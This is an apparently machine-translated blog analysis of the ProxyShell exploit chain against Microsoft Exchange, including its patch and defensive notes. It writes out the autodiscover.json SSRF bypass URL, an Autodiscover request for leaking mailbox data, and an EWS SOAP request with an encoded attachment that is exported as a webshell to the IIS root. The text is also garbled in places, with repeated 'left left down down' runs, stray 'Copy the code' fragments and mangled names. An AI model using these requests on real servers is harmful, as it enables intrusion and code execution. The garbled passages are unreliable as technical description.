preface

A researcher has revealed three ways he used his chain of attacks on Microsoft’s Exchange service. Although Microsoft officially issued patches, many users still ignored them for various reasons, resulting in many vulnerable services still exposed in the public network. This paper mainly briefly analyzed and repeated the recent ProxyShell utilization chain in principle.

1.ProxyLogon: The most well-known pre-auth RCE chain

2.ProxyOracle: A plaintext-password recovery attacking chain

3.ProxyShell: The pre-auth RCE chain we demonstrated at Pwn2Own 2021

 

Vulnerability recurrence and analysis

· Exchange Server 2016 Builder 15.1.1531 · Exchange Server 2013 Versions < Builder 15.0.1497.012 · Exchange Server 2016 CU18 < Builder 15.1.2106.013 · Exchange Server 2016 CU19 < Builder 15.1.2176.009 · Exchange Server 2019 CU7 < Builder 15.2.0721.013

The utilization chain can be roughly divided into two stages, ACL bypass and SOAP interface utilization of WSDL on the premise of bypass, finally leading to RCE, the utilization effect is shown as follows:

1. The ACL to bypass

SSRF exists in ProxyLogon, and the SSRF utilization point of ProxyShell is slightly different, but the utilization principle is the same. When the breakpoint is suspended and debugged on the Exchange side, the DLL code is debugged as follows, which shows that the parsing method before and after URL is as follows:

 

Before parsing the URL

After parsing the URL

https: //Exchange:443/autodiscover/autodiscover.json? [email protected]/autodiscover/autodiscover.xml left left left left left left left left left left down down down down down down down down down left left left left left left left left left left down down down down down down down down down left left left left left left left left left left down down down down down down down down down left left left left left left left left left left down down down down down down down down down left left left left left left left left HTTPS down down down down down down down down: //Exhcage:444/autodiscove/autodiscover.xmlCopy the code

From the result look at port 443 to port 444, then now to look at the server Exchange web site distribution, the page is running on THE IIS component, so look at the IIS site distribution, there are foreground services and background services, that is, there are 80 to 81, 443 to 444 mapping relationship.

The front desk service

The essence of the background service is that there is a lack of verification in the front service, which leads to the request initiated by the outside can be used as a springboard to access the background service resources.

Look from the code. Microsoft Exchange. FrontEndHttpProxy. DLL

The pseudocode is as follows

GetClientUrlForProxy(){ If(isExplicitLogoRequest&&IsAutodiscoverV2Request(base.url)) RemoveExplicitLogoFromUrlAbsoluteUri (AbsoluteUri ExplicitLogoaddress)} 1. There are three functions GetClientUrlForProxy 2. IsAutodiscoverV2Request IsAutodiscoverV2Request is the key point, as shown in the figure above, in/autoDiscover.json, The presence of IsAutodiscoverV2Request causes the URL to be deleted and a new URI to be generated in the middle, resulting in the following resolution, resulting in the SSRFCopy the code

2. Interface utilization

The installation directory of Exchange is as follows. It can be seen that the software itself has designed many interfaces for business needs. The attack method is based on the above parsing method to bypass ACL permission and access perceptual resources (think of a hotel a few years ago, because WSDL interface was exposed, it was found that the interface can directly write files directly RCE). The use of interfaces lies in the parameter requirements and message format of SOAP XML requests of WSDL. With proper use, configuration information (LegacyDN, SID, mailbox account), reading and writing files, command interaction and so on can be obtained without authorization.

Interface Utilization Screenshot

In order to get LegacyDN information, for example To autodiscover/autodiscover. Json? [email protected]/autodiscover/autodiscover.xml send XML request can return LegacyDN content as follows

<? The XML version = "1.0" encoding = "utf-8"? > <Autodiscover xmlns="https://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>[email protected]</EMailAddress> <AcceptableResponseSchema>https://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableRe sponseSchema> </Request> </Autodiscover>Copy the code

If the required EMailAddress parameter is unknown, use the default special system mailbox that is officially included.

The official document in XML format is connected as follows: docs.microsoft.com/en-us/excha…

The request tests for the other interfaces are shown below to obtain the SID

Access to email

Written to the file

The idea of writing files is to call the mail interface to send mail, call the export mail interface, and write webshell to the specified system path (IIS root directory). Because the email content is in PST format, IIS cannot parse it, so it needs to be decoded twice, that is, encoded once before sending it, and decoded into a normal format when exporting it. The encoding method is linked to the following official documents (docs.microsoft.com/en-us/opens…

If there is no cookie, 401 will be returned. Fortunately, the required content of the structure can be obtained through SSRF, and then manually constructed in the analysis and debugging code, send an email and then export the email.

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2016" /> <t:SerializedSecurityContext> <t:UserSid> S-1-5-21-1692751536-334164737-1685896678-16656 </t:UserSid> <t:GroupSids> <t:GroupIdentifier> <t:SecurityIdentifier> S-1-5-21 </t:SecurityIdentifier> </t:GroupIdentifier> </t:GroupSids> </t:SerializedSecurityContext> </soap:Header> <soap:Body> <m:CreateItem MessageDisposition="SaveOnly"> <m:Items> <t:Message> <t:Subject>tsjsupqgmdciximd</t:Subject> <t:Body BodyType="HTML">hello by xyy</t:Body> <t:Attachments> <t:FileAttachment> <t:Name>f.txt</t:Name> <t:IsInline>false</t:IsInline> <t:IsContactPhoto>false</t:IsContactPhoto> <t:Content> ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoLZnl33BlQUt9MGObmp39opINOpDYzJ6Z45OTk52qWpzYy+2lz32tYUfoLaddpUKVTT DdqCD2uC9wbWqV3agskxvtrWadMG1trzRAYNMZ45OTk5IZ6V+9ZUhrdpFNk= </t:Content> </t:FileAttachment> </t:Attachments> <t:ToRecipients> <t:Mailbox> <t:EmailAddress> [email protected] </t:EmailAddress> </t:Mailbox> </t:ToRecipients> </t:Message> </m:Items> </m:CreateItem> </soap:Body> </soap:Envelope>Copy the code

Debugging code is as follows: Microsoft Exchange. The Configuration. RemotePowershellBackendCmdletProxyModule. DLL

The code for serializing and decrypting x-Rps-CAT values is as follows

Repair principle

Before the repair

 

After repair

It is obvious that IsAutodiscoverV2Request judgment was removed to prevent SSRF from occurring.

conclusion

SSRF vulnerability seems to do little harm, but as long as the subsequent attack chain is complete, it can also play a key role, just like the use of bypass this time, or the use of SSRF to Intranet roaming seen before. From a traffic defense point of view (official patches are not that timely after all), it’s a matter of finding the entry point to exploit (autoDiscover. Json) and other harmful interfaces (/ews, / ECp, / AutoDiscover, / Powershell, etc.) and setting up defenses accordingly. From a bug mining perspective, dynamic debugging is always a good way to get a clear picture of the life cycle of traffic.

 

There are learning network security friends can pay attention to private letter I oh!!